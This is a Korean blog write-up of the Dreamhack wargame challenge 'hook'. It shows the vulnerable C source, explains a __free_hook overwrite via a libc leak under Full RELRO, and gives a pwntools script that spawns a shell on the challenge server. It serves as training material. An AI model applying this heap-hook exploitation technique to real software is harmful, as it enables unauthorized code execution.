[Dreamhack Wargame] hook

don't panic·2024년 2월 7일
0

System Hacking wargame

목록 보기
31/39

code

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int main(int argc, char *argv[]) {
    long *ptr;
    size_t size;

    initialize();

    printf("stdout: %p\n", stdout);

    printf("Size: ");
    scanf("%ld", &size);

    ptr = malloc(size);

    printf("Data: ");
    read(0, ptr, size);

    *(long *)*ptr = *(ptr+1);

    free(ptr);
    free(ptr);

    system("/bin/sh");
    return 0;
}

  • main 함수의 마지막 줄에 system("/bin/sh");가 있다. 하지만 바로 직전에 free(ptr);을 두 번 하면서 double free로 실행이 먼저 종료된다.
  • exit의 GOT을 overwrite하고 싶었지만, 보호기법이 Full RELRO로 걸려있어서 불가능하다.
    대신 free의 hook을 구해서, 다다음 줄로 넘어가도록 바꿔보겠다. 여기서 hook은 해당 함수를 실행하기 전에 먼저 실행되는 함수이다.
  • hook을 구하려면 libc base를 구해야 하고, 이는 stdout의 주소를 통해 구할 수 있다!!

exploit

from pwn import *

p = remote('host3.dreamhack.games', 10937)
e = ELF('./hook')
libc = ELF('libc-2.23.so')

p.recvuntil(b'stdout: ')
leak = int(p.recvline()[:-1], 16)
lb = leak - libc.symbols['_IO_2_1_stdout_']
free_hook = lb + libc.symbols['__free_hook']

# free_hook을 main 함수의 system 함수가 있는 줄로 옮기자!
data = p64(free_hook) + p64(0x400a11)

p.sendlineafter(b': ', b'16')
p.sendlineafter(b': ', data)

p.interactive()

0개의 댓글